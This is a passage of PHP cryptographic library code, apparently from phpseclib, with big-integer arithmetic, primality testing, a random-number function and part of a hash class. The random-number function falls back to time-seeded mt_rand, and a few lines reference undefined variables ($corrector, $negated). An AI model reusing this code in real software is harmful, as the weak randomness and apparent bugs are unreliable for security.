$result[MATH_BIGINTEGER_SIGN], $m, false) >= 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _regularBarrett($x, $n) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array() , MATH_BIGINTEGER_DATA => array() ); $n_length = count($n); if (count($x) > 2 * $n_length) { $lhs = new Math_BigInteger(); $rhs = new Math_BigInteger(); $lhs->value = $x; $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; } if (($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $n; $lhs = new Math_BigInteger(); $lhs_value = & $lhs->value; $lhs_value = $this->_array_repeat(0, 2 * $n_length); $lhs_value[] = 1; $rhs = new Math_BigInteger(); $rhs->value = $n; list($temp,) = $lhs->divide($rhs); $cache[MATH_BIGINTEGER_DATA][] = $temp->value; } $temp = array_slice($x, $n_length - 1); $temp = $this->_multiply($temp, false, $cache[MATH_BIGINTEGER_DATA][$key], false); $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], $n_length + 1); $result = array_slice($x, 0, $n_length + 1); $temp = $this->_multiplyLower($temp, false, $n, false, $n_length + 1); if ($this->_compare($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]) < 0) { $corrector_value = $this->_array_repeat(0, $n_length + 1); $corrector_value[] = 1; $result = $this->_add($result, false, $corrector, false); $result = $result[MATH_BIGINTEGER_VALUE]; } $result = $this->_subtract($result, false, $temp[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_SIGN]); while ($this->_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false) > 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $n, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _multiplyLower($x_value, $x_negative, $y_value, $y_negative, $stop) { $x_length = count($x_value); $y_length = count($y_value); if (!$x_length || !$y_length) { return array( MATH_BIGINTEGER_VALUE => array() , MATH_BIGINTEGER_SIGN => false ); } if ($x_length < $y_length) { $temp = $x_value; $x_value = $y_value; $y_value = $temp; $x_length = count($x_value); $y_length = count($y_value); } $product_value = $this->_array_repeat(0, $x_length + $y_length); $carry = 0; for ($j = 0; $j < $x_length; ++$j) { $temp = $x_value[$j] * $y_value[0] + $carry; $carry = (int)($temp / 0x4000000); $product_value[$j] = (int)($temp - 0x4000000 * $carry); } if ($j < $stop) { $product_value[$j] = $carry; } for ($i = 1; $i < $y_length; ++$i) { $carry = 0; for ($j = 0, $k = $i; $j < $x_length && $k < $stop; ++$j, ++$k) { $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry; $carry = (int)($temp / 0x4000000); $product_value[$k] = (int)($temp - 0x4000000 * $carry); } if ($k < $stop) { $product_value[$k] = $carry; } } return array( MATH_BIGINTEGER_VALUE => $this->_trim($product_value) , MATH_BIGINTEGER_SIGN => $x_negative != $y_negative ); } function _montgomery($x, $n) { static $cache = array( MATH_BIGINTEGER_VARIABLE => array() , MATH_BIGINTEGER_DATA => array() ); if (($key = array_search($n, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $x; $cache[MATH_BIGINTEGER_DATA][] = $this->_modInverse67108864($n); } $k = count($n); $result = array( MATH_BIGINTEGER_VALUE => $x ); for ($i = 0; $i < $k; ++$i) { $temp = $result[MATH_BIGINTEGER_VALUE][$i] * $cache[MATH_BIGINTEGER_DATA][$key]; $temp = (int)($temp - 0x4000000 * ((int)($temp / 0x4000000))); $temp = $this->_regularMultiply(array( $temp ) , $n); $temp = array_merge($this->_array_repeat(0, $i) , $temp); $result = $this->_add($result[MATH_BIGINTEGER_VALUE], false, $temp, false); } $result[MATH_BIGINTEGER_VALUE] = array_slice($result[MATH_BIGINTEGER_VALUE], $k); if ($this->_compare($result, false, $n, false) >= 0) { $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], false, $n, false); } return $result[MATH_BIGINTEGER_VALUE]; } function _montgomeryMultiply($x, $y, $m) { $temp = $this->_multiply($x, false, $y, false); return $this->_montgomery($temp[MATH_BIGINTEGER_VALUE], $m); static $cache = array( MATH_BIGINTEGER_VARIABLE => array() , MATH_BIGINTEGER_DATA => array() ); if (($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false) { $key = count($cache[MATH_BIGINTEGER_VARIABLE]); $cache[MATH_BIGINTEGER_VARIABLE][] = $m; $cache[MATH_BIGINTEGER_DATA][] = $this->_modInverse67108864($m); } $n = max(count($x) , count($y) , count($m)); $x = array_pad($x, $n, 0); $y = array_pad($y, $n, 0); $m = array_pad($m, $n, 0); $a = array( MATH_BIGINTEGER_VALUE => $this->_array_repeat(0, $n + 1) ); for ($i = 0; $i < $n; ++$i) { $temp = $a[MATH_BIGINTEGER_VALUE][0] + $x[$i] * $y[0]; $temp = (int)($temp - 0x4000000 * ((int)($temp / 0x4000000))); $temp = $temp * $cache[MATH_BIGINTEGER_DATA][$key]; $temp = (int)($temp - 0x4000000 * ((int)($temp / 0x4000000))); $temp = $this->_add($this->_regularMultiply(array( $x[$i] ) , $y) , false, $this->_regularMultiply(array( $temp ) , $m) , false); $a = $this->_add($a[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false); $a[MATH_BIGINTEGER_VALUE] = array_slice($a[MATH_BIGINTEGER_VALUE], 1); } if ($this->_compare($a[MATH_BIGINTEGER_VALUE], false, $m, false) >= 0) { $a = $this->_subtract($a[MATH_BIGINTEGER_VALUE], false, $m, false); } return $a[MATH_BIGINTEGER_VALUE]; } function _prepMontgomery($x, $n) { $lhs = new Math_BigInteger(); $lhs->value = array_merge($this->_array_repeat(0, count($n)) , $x); $rhs = new Math_BigInteger(); $rhs->value = $n; list(, $temp) = $lhs->divide($rhs); return $temp->value; } function _modInverse67108864($x) { $x = - $x[0]; $result = $x & 0x3; $result = ($result * (2 - $x * $result)) & 0xF; $result = ($result * (2 - ($x & 0xFF) * $result)) & 0xFF; $result = ($result * ((2 - ($x & 0xFFFF) * $result) & 0xFFFF)) & 0xFFFF; $result = fmod($result * (2 - fmod($x * $result, 0x4000000)) , 0x4000000); return $result & 0x3FFFFFF; } function modInverse($n) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_invert($this->value, $n->value); return ($temp->value === false) ? false : $this->_normalize($temp); } static $zero, $one; if (!isset($zero)) { $zero = new Math_BigInteger(); $one = new Math_BigInteger(1); } $n = $n->abs(); if ($this->compare($zero) < 0) { $temp = $this->abs(); $temp = $temp->modInverse($n); return $negated === false ? false : $this->_normalize($n->subtract($temp)); } extract($this->extendedGCD($n)); if (!$gcd->equals($one)) { return false; } $x = $x->compare($zero) < 0 ? $x->add($n) : $x; return $this->compare($zero) < 0 ? $this->_normalize($n->subtract($x)) : $this->_normalize($x); } function extendedGCD($n) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: extract(gmp_gcdext($this->value, $n->value)); return array( 'gcd' => $this->_normalize(new Math_BigInteger($g)) , 'x' => $this->_normalize(new Math_BigInteger($s)) , 'y' => $this->_normalize(new Math_BigInteger($t)) ); case MATH_BIGINTEGER_MODE_BCMATH: $u = $this->value; $v = $n->value; $a = '1'; $b = '0'; $c = '0'; $d = '1'; while (bccomp($v, '0', 0) != 0) { $q = bcdiv($u, $v, 0); $temp = $u; $u = $v; $v = bcsub($temp, bcmul($v, $q, 0) , 0); $temp = $a; $a = $c; $c = bcsub($temp, bcmul($a, $q, 0) , 0); $temp = $b; $b = $d; $d = bcsub($temp, bcmul($b, $q, 0) , 0); } return array( 'gcd' => $this->_normalize(new Math_BigInteger($u)) , 'x' => $this->_normalize(new Math_BigInteger($a)) , 'y' => $this->_normalize(new Math_BigInteger($b)) ); } $y = $n->copy(); $x = $this->copy(); $g = new Math_BigInteger(); $g->value = array( 1 ); while (!(($x->value[0] & 1) || ($y->value[0] & 1))) { $x->_rshift(1); $y->_rshift(1); $g->_lshift(1); } $u = $x->copy(); $v = $y->copy(); $a = new Math_BigInteger(); $b = new Math_BigInteger(); $c = new Math_BigInteger(); $d = new Math_BigInteger(); $a->value = $d->value = $g->value = array( 1 ); $b->value = $c->value = array(); while (!empty($u->value)) { while (!($u->value[0] & 1)) { $u->_rshift(1); if ((!empty($a->value) && ($a->value[0] & 1)) || (!empty($b->value) && ($b->value[0] & 1))) { $a = $a->add($y); $b = $b->subtract($x); } $a->_rshift(1); $b->_rshift(1); } while (!($v->value[0] & 1)) { $v->_rshift(1); if ((!empty($d->value) && ($d->value[0] & 1)) || (!empty($c->value) && ($c->value[0] & 1))) { $c = $c->add($y); $d = $d->subtract($x); } $c->_rshift(1); $d->_rshift(1); } if ($u->compare($v) >= 0) { $u = $u->subtract($v); $a = $a->subtract($c); $b = $b->subtract($d); } else { $v = $v->subtract($u); $c = $c->subtract($a); $d = $d->subtract($b); } } return array( 'gcd' => $this->_normalize($g->multiply($v)) , 'x' => $this->_normalize($c) , 'y' => $this->_normalize($d) ); } function gcd($n) { extract($this->extendedGCD($n)); return $gcd; } function abs() { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp->value = gmp_abs($this->value); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = (bccomp($this->value, '0', 0) < 0) ? substr($this->value, 1) : $this->value; break; default: $temp->value = $this->value; } return $temp; } function compare($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_cmp($this->value, $y->value); case MATH_BIGINTEGER_MODE_BCMATH: return bccomp($this->value, $y->value, 0); } return $this->_compare($this->value, $this->is_negative, $y->value, $y->is_negative); } function _compare($x_value, $x_negative, $y_value, $y_negative) { if ($x_negative != $y_negative) { return (!$x_negative && $y_negative) ? 1 : -1; } $result = $x_negative ? -1 : 1; if (count($x_value) != count($y_value)) { return (count($x_value) > count($y_value)) ? $result : -$result; } $size = max(count($x_value) , count($y_value)); $x_value = array_pad($x_value, $size, 0); $y_value = array_pad($y_value, $size, 0); for ($i = count($x_value) - 1; $i >= 0; --$i) { if ($x_value[$i] != $y_value[$i]) { return ($x_value[$i] > $y_value[$i]) ? $result : -$result; } } return 0; } function equals($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_cmp($this->value, $x->value) == 0; default: return $this->value === $x->value && $this->is_negative == $x->is_negative; } } function setPrecision($bits) { $this->precision = $bits; if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH) { $this->bitmask = new Math_BigInteger(chr((1 << ($bits & 0x7)) - 1) . str_repeat(chr(0xFF) , $bits >> 3) , 256); } else { $this->bitmask = new Math_BigInteger(bcpow('2', $bits, 0)); } $temp = $this->_normalize($this); $this->value = $temp->value; } function bitwise_and($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_and($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left) , strlen($right)); $left = str_pad($left, $length, chr(0) , STR_PAD_LEFT); $right = str_pad($right, $length, chr(0) , STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left & $right, 256)); } $result = $this->copy(); $length = min(count($x->value) , count($this->value)); $result->value = array_slice($result->value, 0, $length); for ($i = 0; $i < $length; ++$i) { $result->value[$i] = $result->value[$i] & $x->value[$i]; } return $this->_normalize($result); } function bitwise_or($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_or($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left) , strlen($right)); $left = str_pad($left, $length, chr(0) , STR_PAD_LEFT); $right = str_pad($right, $length, chr(0) , STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left | $right, 256)); } $length = max(count($this->value) , count($x->value)); $result = $this->copy(); $result->value = array_pad($result->value, 0, $length); $x->value = array_pad($x->value, 0, $length); for ($i = 0; $i < $length; ++$i) { $result->value[$i] = $this->value[$i] | $x->value[$i]; } return $this->_normalize($result); } function bitwise_xor($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_xor($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left) , strlen($right)); $left = str_pad($left, $length, chr(0) , STR_PAD_LEFT); $right = str_pad($right, $length, chr(0) , STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left ^ $right, 256)); } $length = max(count($this->value) , count($x->value)); $result = $this->copy(); $result->value = array_pad($result->value, 0, $length); $x->value = array_pad($x->value, 0, $length); for ($i = 0; $i < $length; ++$i) { $result->value[$i] = $this->value[$i] ^ $x->value[$i]; } return $this->_normalize($result); } function bitwise_not() { $temp = $this->toBytes(); $pre_msb = decbin(ord($temp[0])); $temp = ~ $temp; $msb = decbin(ord($temp[0])); if (strlen($msb) == 8) { $msb = substr($msb, strpos($msb, '0')); } $temp[0] = chr(bindec($msb)); $current_bits = strlen($pre_msb) + 8 * strlen($temp) - 8; $new_bits = $this->precision - $current_bits; if ($new_bits <= 0) { return $this->_normalize(new Math_BigInteger($temp, 256)); } $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF) , $new_bits >> 3); $this->_base256_lshift($leading_ones, $current_bits); $temp = str_pad($temp, ceil($this->bits / 8) , chr(0) , STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($leading_ones | $temp, 256)); } function bitwise_rightShift($shift) { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: static $two; if (!isset($two)) { $two = gmp_init('2'); } $temp->value = gmp_div_q($this->value, gmp_pow($two, $shift)); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = bcdiv($this->value, bcpow('2', $shift, 0) , 0); break; default: $temp->value = $this->value; $temp->_rshift($shift); } return $this->_normalize($temp); } function bitwise_leftShift($shift) { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: static $two; if (!isset($two)) { $two = gmp_init('2'); } $temp->value = gmp_mul($this->value, gmp_pow($two, $shift)); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = bcmul($this->value, bcpow('2', $shift, 0) , 0); break; default: $temp->value = $this->value; $temp->_lshift($shift); } return $this->_normalize($temp); } function bitwise_leftRotate($shift) { $bits = $this->toBytes(); if ($this->precision > 0) { $precision = $this->precision; if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH) { $mask = $this->bitmask->subtract(new Math_BigInteger(1)); $mask = $mask->toBytes(); } else { $mask = $this->bitmask->toBytes(); } } else { $temp = ord($bits[0]); for ($i = 0; $temp >> $i; ++$i); $precision = 8 * strlen($bits) - 8 + $i; $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF) , $precision >> 3); } if ($shift < 0) { $shift+= $precision; } $shift%= $precision; if (!$shift) { return $this->copy(); } $left = $this->bitwise_leftShift($shift); $left = $left->bitwise_and(new Math_BigInteger($mask, 256)); $right = $this->bitwise_rightShift($precision - $shift); $result = MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH ? $left->bitwise_or($right) : $left->add($right); return $this->_normalize($result); } function bitwise_rightRotate($shift) { return $this->bitwise_leftRotate(-$shift); } function setRandomGenerator($generator) { $this->generator = $generator; } function random($min = false, $max = false) { if ($min === false) { $min = new Math_BigInteger(0); } if ($max === false) { $max = new Math_BigInteger(0x7FFFFFFF); } $compare = $max->compare($min); if (!$compare) { return $this->_normalize($min); } else if ($compare < 0) { $temp = $max; $max = $min; $min = $temp; } $generator = $this->generator; $max = $max->subtract($min); $max = ltrim($max->toBytes() , chr(0)); $size = strlen($max) - 1; $random = ''; $bytes = $size & 1; for ($i = 0; $i < $bytes; ++$i) { $random.= chr($generator(0, 255)); } $blocks = $size >> 1; for ($i = 0; $i < $blocks; ++$i) { $random.= pack('n', $generator(0, 0xFFFF)); } $temp = new Math_BigInteger($random, 256); if ($temp->compare(new Math_BigInteger(substr($max, 1) , 256)) > 0) { $random = chr($generator(0, ord($max[0]) - 1)) . $random; } else { $random = chr($generator(0, ord($max[0]))) . $random; } $random = new Math_BigInteger($random, 256); return $this->_normalize($random->add($min)); } function randomPrime($min = false, $max = false, $timeout = false) { $compare = $max->compare($min); if (!$compare) { return $min; } else if ($compare < 0) { $temp = $max; $max = $min; $min = $temp; } if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime')) { if ($min === false) { $min = new Math_BigInteger(0); } if ($max === false) { $max = new Math_BigInteger(0x7FFFFFFF); } $x = $this->random($min, $max); $x->value = gmp_nextprime($x->value); if ($x->compare($max) <= 0) { return $x; } $x->value = gmp_nextprime($min->value); if ($x->compare($max) <= 0) { return $x; } return false; } static $one, $two; if (!isset($one)) { $one = new Math_BigInteger(1); $two = new Math_BigInteger(2); } $start = time(); $x = $this->random($min, $max); if ($x->equals($two)) { return $x; } $x->_make_odd(); if ($x->compare($max) > 0) { if ($min->equals($max)) { return false; } $x = $min->copy(); $x->_make_odd(); } $initial_x = $x->copy(); while (true) { if ($timeout !== false && time() - $start > $timeout) { return false; } if ($x->isPrime()) { return $x; } $x = $x->add($two); if ($x->compare($max) > 0) { $x = $min->copy(); if ($x->equals($two)) { return $x; } $x->_make_odd(); } if ($x->equals($initial_x)) { return false; } } } function _make_odd() { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: gmp_setbit($this->value, 0); break; case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value[strlen($this->value) - 1] % 2 == 0) { $this->value = bcadd($this->value, '1'); } break; default: $this->value[0]|= 1; } } function isPrime($t = false) { $length = strlen($this->toBytes()); if (!$t) { if ($length >= 163) { $t = 2; } else if ($length >= 106) { $t = 3; } else if ($length >= 81) { $t = 4; } else if ($length >= 68) { $t = 5; } else if ($length >= 56) { $t = 6; } else if ($length >= 50) { $t = 7; } else if ($length >= 43) { $t = 8; } else if ($length >= 37) { $t = 9; } else if ($length >= 31) { $t = 12; } else if ($length >= 25) { $t = 15; } else if ($length >= 18) { $t = 18; } else { $t = 27; } } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_prob_prime($this->value, $t) != 0; case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '2') { return true; } if ($this->value[strlen($this->value) - 1] % 2 == 0) { return false; } break; default: if ($this->value == array( 2 )) { return true; } if (~$this->value[0] & 1) { return false; } } static $primes, $zero, $one, $two; if (!isset($primes)) { $primes = array( 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997 ); if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { for ($i = 0; $i < count($primes); ++$i) { $primes[$i] = new Math_BigInteger($primes[$i]); } } $zero = new Math_BigInteger(); $one = new Math_BigInteger(1); $two = new Math_BigInteger(2); } if ($this->equals($one)) { return false; } if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { foreach($primes as $prime) { list(, $r) = $this->divide($prime); if ($r->equals($zero)) { return $this->equals($prime); } } } else { $value = $this->value; foreach($primes as $prime) { list(, $r) = $this->_divide_digit($value, $prime); if (!$r) { return count($value) == 1 && $value[0] == $prime; } } } $n = $this->copy(); $n_1 = $n->subtract($one); $n_2 = $n->subtract($two); $r = $n_1->copy(); $r_value = $r->value; if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH) { $s = 0; while ($r->value[strlen($r->value) - 1] % 2 == 0) { $r->value = bcdiv($r->value, '2', 0); ++$s; } } else { for ($i = 0, $r_length = count($r_value); $i < $r_length; ++$i) { $temp = ~ $r_value[$i] & 0xFFFFFF; for ($j = 1; ($temp >> $j) & 1; ++$j); if ($j != 25) { break; } } $s = 26 * $i + $j - 1; $r->_rshift($s); } for ($i = 0; $i < $t; ++$i) { $a = $this->random($two, $n_2); $y = $a->modPow($r, $n); if (!$y->equals($one) && !$y->equals($n_1)) { for ($j = 1; $j < $s && !$y->equals($n_1); ++$j) { $y = $y->modPow($two, $n); if ($y->equals($one)) { return false; } } if (!$y->equals($n_1)) { return false; } } } return true; } function _lshift($shift) { if ($shift == 0) { return; } $num_digits = (int)($shift / 26); $shift%= 26; $shift = 1 << $shift; $carry = 0; for ($i = 0; $i < count($this->value); ++$i) { $temp = $this->value[$i] * $shift + $carry; $carry = (int)($temp / 0x4000000); $this->value[$i] = (int)($temp - $carry * 0x4000000); } if ($carry) { $this->value[] = $carry; } while ($num_digits--) { array_unshift($this->value, 0); } } function _rshift($shift) { if ($shift == 0) { return; } $num_digits = (int)($shift / 26); $shift%= 26; $carry_shift = 26 - $shift; $carry_mask = (1 << $shift) - 1; if ($num_digits) { $this->value = array_slice($this->value, $num_digits); } $carry = 0; for ($i = count($this->value) - 1; $i >= 0; --$i) { $temp = $this->value[$i] >> $shift | $carry; $carry = ($this->value[$i] & $carry_mask) << $carry_shift; $this->value[$i] = $temp; } $this->value = $this->_trim($this->value); } function _normalize($result) { $result->precision = $this->precision; $result->bitmask = $this->bitmask; switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: if (!empty($result->bitmask->value)) { $result->value = gmp_and($result->value, $result->bitmask->value); } return $result; case MATH_BIGINTEGER_MODE_BCMATH: if (!empty($result->bitmask->value)) { $result->value = bcmod($result->value, $result->bitmask->value); } return $result; } $value = & $result->value; if (!count($value)) { return $result; } $value = $this->_trim($value); if (!empty($result->bitmask->value)) { $length = min(count($value) , count($this->bitmask->value)); $value = array_slice($value, 0, $length); for ($i = 0; $i < $length; ++$i) { $value[$i] = $value[$i] & $this->bitmask->value[$i]; } } return $result; } function _trim($value) { for ($i = count($value) - 1; $i >= 0; --$i) { if ($value[$i]) { break; } unset($value[$i]); } return $value; } function _array_repeat($input, $multiplier) { return ($multiplier) ? array_fill(0, $multiplier, $input) : array(); } function _base256_lshift(&$x, $shift) { if ($shift == 0) { return; } $num_bytes = $shift >> 3; $shift&= 7; $carry = 0; for ($i = strlen($x) - 1; $i >= 0; --$i) { $temp = ord($x[$i]) << $shift | $carry; $x[$i] = chr($temp); $carry = $temp >> 8; } $carry = ($carry != 0) ? chr($carry) : ''; $x = $carry . $x . str_repeat(chr(0) , $num_bytes); } function _base256_rshift(&$x, $shift) { if ($shift == 0) { $x = ltrim($x, chr(0)); return ''; } $num_bytes = $shift >> 3; $shift&= 7; $remainder = ''; if ($num_bytes) { $start = $num_bytes > strlen($x) ? -strlen($x) : -$num_bytes; $remainder = substr($x, $start); $x = substr($x, 0, -$num_bytes); } $carry = 0; $carry_shift = 8 - $shift; for ($i = 0; $i < strlen($x); ++$i) { $temp = (ord($x[$i]) >> $shift) | $carry; $carry = (ord($x[$i]) << $carry_shift) & 0xFF; $x[$i] = chr($temp); } $x = ltrim($x, chr(0)); $remainder = chr($carry >> $carry_shift) . $remainder; return ltrim($remainder, chr(0)); } function _int2bytes($x) { return ltrim(pack('N', $x) , chr(0)); } function _bytes2int($x) { $temp = unpack('Nint', str_pad($x, 4, chr(0) , STR_PAD_LEFT)); return $temp['int']; } } function crypt_random($min = 0, $max = 0x7FFFFFFF) { if ($min == $max) { return $min; } static $urandom = true; if ($urandom === true) { $urandom = @fopen('/dev/urandom', 'rb'); } if (!is_bool($urandom)) { extract(unpack('Nrandom', fread($urandom, 4))); return abs($random) % ($max - $min) + $min; } if (version_compare(PHP_VERSION, '5.2.5', '<=')) { static $seeded; if (!isset($seeded)) { $seeded = true; mt_srand(fmod(time() * getmypid() , 0x7FFFFFFF) ^ fmod(1000000 * lcg_value() , 0x7FFFFFFF)); } } static $crypto; if (!isset($crypto)) { $key = $iv = ''; for ($i = 0; $i < 8; $i++) { $key.= pack('n', mt_rand(0, 0xFFFF)); $iv.= pack('n', mt_rand(0, 0xFFFF)); } switch (true) { case class_exists('Crypt_AES'): $crypto = new Crypt_AES(CRYPT_AES_MODE_CTR); break; case class_exists('Crypt_TripleDES'): $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CTR); break; case class_exists('Crypt_DES'): $crypto = new Crypt_DES(CRYPT_DES_MODE_CTR); break; case class_exists('Crypt_RC4'): $crypto = new Crypt_RC4(); break; default: extract(unpack('Nrandom', pack('H*', sha1(mt_rand(0, 0x7FFFFFFF))))); return abs($random) % ($max - $min) + $min; } $crypto->setKey($key); $crypto->setIV($iv); $crypto->enableContinuousBuffer(); } extract(unpack('Nrandom', $crypto->encrypt("\0\0\0\0"))); return abs($random) % ($max - $min) + $min; } define('CRYPT_HASH_MODE_INTERNAL', 1); define('CRYPT_HASH_MODE_MHASH', 2); define('CRYPT_HASH_MODE_HASH', 3); class Crypt_Hash { var $b; var $l = false; var $hash; var $key = ''; var $opad; var $ipad; function Crypt_Hash($hash = 'sha1') { if (!defined('CRYPT_HASH_MODE')) { switch (true) { case extension_loaded('hash'): define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_HASH); break; case extension_loaded('mhash'): define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_MHASH); break; default: define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_INTERNAL); } } $this->setHash($hash); } function setKey($key) { $this->key = $key; } function setHash($hash) { switch ($hash) { case 'md5-96': case 'sha1-96': $this->l = 12; break; case 'md2': case 'md5': $this->l = 16; break; case 'sha1': $this->l = 20; break; case 'sha256': $this->l = 32; break; case 'sha384': $this->l = 48; break; case 'sha512': $this->l = 64; } switch ($hash) { case 'md2': $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_HASH && in_array('md2', hash_algos()) ? CRYPT_HASH_MODE_HASH : CRYPT_HASH_MODE_INTERNAL; break; case 'sha384': case 'sha512': $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_MHASH ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE; break; default: $mode = CRYPT_HASH_MODE; } switch ($mode) { case CRYPT_HASH_MODE_MHASH: switch ($hash) { case 'md5': case 'md5-96': $this->hash = MHASH_MD5; break; case 'sha256': $this->hash = MHASH_SHA256; break; case 'sha1': case 'sha1-96': default: $this->hash = MHASH_SHA1; } return; case CRYPT_HASH_MODE_HASH: switch ($hash) { case 'md5': case 'md5-96': $this->hash = 'md5'; return; case 'md2': case 'sha256': case 'sha384': case 'sha512': $this->hash = $hash; return; case 'sha1': case 'sha1-96': default: $this->hash = 'sha1'; } return; } switch ($hash) { case 'md2': $this->b = 16; $this->hash = array( $this, '_md2' ); break; case 'md5': case 'md5-96': $this->b = 64; $this->hash = array( $this, '_md5' ); break; case 'sha256': $this->b = 64; $this->hash = array( $this, '_sha256' ); break; case 'sha384': case 'sha512': $this->b = 128; $this->hash = array( $this, '_sha512' ); break; case 'sha1': case 'sha1-96': default: $this->b = 64; $this->hash = array( $this, '_sha1' ); } $this->ipad = str_repeat(chr(0x36) , $this->b); $this->opad = str_repeat(chr(0x5C) , $this->b); } function hash($text) { $mode = is_array($this->hash) ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE; if (!empty($this->key)) { switch ($mode) { case CRYPT_HASH_MODE_MHASH: $output = mhash($this->hash, $text, $this->key); break; case CRYPT_HASH_MODE_HASH: $output = hash_hmac($this->hash, $text, $this->key, true); break; case CRYPT_HASH_MODE_INTERNAL: $key = strlen($this->key) > $this->b ? call_user_func($this->hash, $this->key) : $this->key; $key = str_pad($key, $this->b, chr(0)); $temp = $this->ipad ^ $key; $temp.= $text; $temp = call_user_func($this->hash, $temp); $output = $this->opad ^ $key; $output.= $temp; $output = call_user_func($this->hash, $output); } } else { switch ($mode) { case CRYPT_HASH_MODE_MHASH: $output = mhash($this->hash, $text); break; case CRYPT_HASH_MODE_HASH: $output = hash($this->hash, $text, true); break; case CRYPT_HASH_MODE_INTERNAL: $output = call_user_func($this->hash, $text); } } return substr($output, 0, $this->l); } function getLength() { 